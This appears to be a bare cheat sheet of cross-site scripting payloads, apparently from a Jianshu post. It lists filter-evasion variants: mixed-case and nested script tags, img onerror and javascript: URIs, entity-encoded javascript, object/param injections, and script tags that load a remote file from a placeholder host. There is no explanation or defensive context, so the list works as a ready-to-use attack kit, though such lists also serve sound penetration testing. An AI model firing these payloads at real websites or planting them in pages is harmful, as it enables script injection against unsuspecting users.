<script>alert('XSS')</script>
<script>alert("XSS")</script>
<ScRiPt>alert('XSS')</sCrIpT>
<ScRiPt>alert("XSS")</sCrIpT>
<script>String.fromCharCode(0,XSS,1)</script>
<ScRiPt>String.fromCharCode(0,XSS,1)</sCrIpT>
<script src=http://XSS/x.js></script>
<ScRiPt src=http://XSS/x.js></sCrIpT>
<script[TAB]src=http://XSS/x.js></script>
<ScRiPt[TAB]src=http://XSS/x.js></sCrIpT>

<img src=javascript:alert('XSS')>
<img src=javascript:alert("XSS")>
<img src=javascript:String.fromCharCode(0,XSS,1)>
<img src=JaVaScRiPt:String.fromCharCode(0,XSS,1)>
<img src=JaVaS\tcRiPt:String.fromCharCode(0,XSS,1)>
<img src=jav ascript:alert('XSS');>
<img src=jav ascript:alert("XSS");>
<img src=. onerror=alert("XSS")>
<img src=. onerror=alert('XSS')>
<img src=. onerror=String.fromCharCode(0,XSS,1)>
<img[TAB]src=.[TAB]onerror=String.fromCharCode(0,XSS,1)>

<img src=javascript:alert('XSS;')>
<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27__XSS__&#x27&#x29>
<img[TAB]src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27__XSS__&#x27&#x29>

<script >alert('XSS')</script >
<script >alert("XSS")</script >
<script >String.fromCharCode(0,XSS,1)</script >
<ScRiPt >String.fromCharCode(0,XSS,1)</ sCrIpT>
<ScRiPt[TAB]>String.fromCharCode(0,XSS,1)</[TAB]sCrIpT>
<script/>alert('XSS')</script/>
<script/>alert("XSS")</script/>
<ScRiPt/>alert('XSS')</sCrIpT/>
<ScRiPt/>alert("XSS")</sCrIpT/>
<script/ src=http://XSS/x.js></script/>
<ScRiPt/ src=http://XSS/x.js></sCrIpT/>
<scr<script>ipt>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<scr<script>ipt>alert("XSS")</script>
<scr<script>ipt>alert("XSS")</scr</script>ipt>
<scr<script>ipt>String.fromCharCode(0,XSS,1)</script>
<scr<script>ipt>String.fromCharCode(0,XSS,1)</scr</script>ipt>
<scr<script>ipt src=http://XSS/x.js></script>
<scr<script>ipt src=http://XSS/x.js></scr</script>ipt>
<object data="javascript:alert('XSS')">
<object data=javascript:String.fromCharCode(0,XSS,1)>
<object[TAB]data=javascript:String.fromCharCode(0,XSS,1)>
<object><param name=x value=javascript:alert('XSS')></object>
<object><param name=x value=javascript:alert("XSS")></object>
<object><param name=x value=javascript:String.fromCharCode(0,XSS,1)></object>

图片发自简书App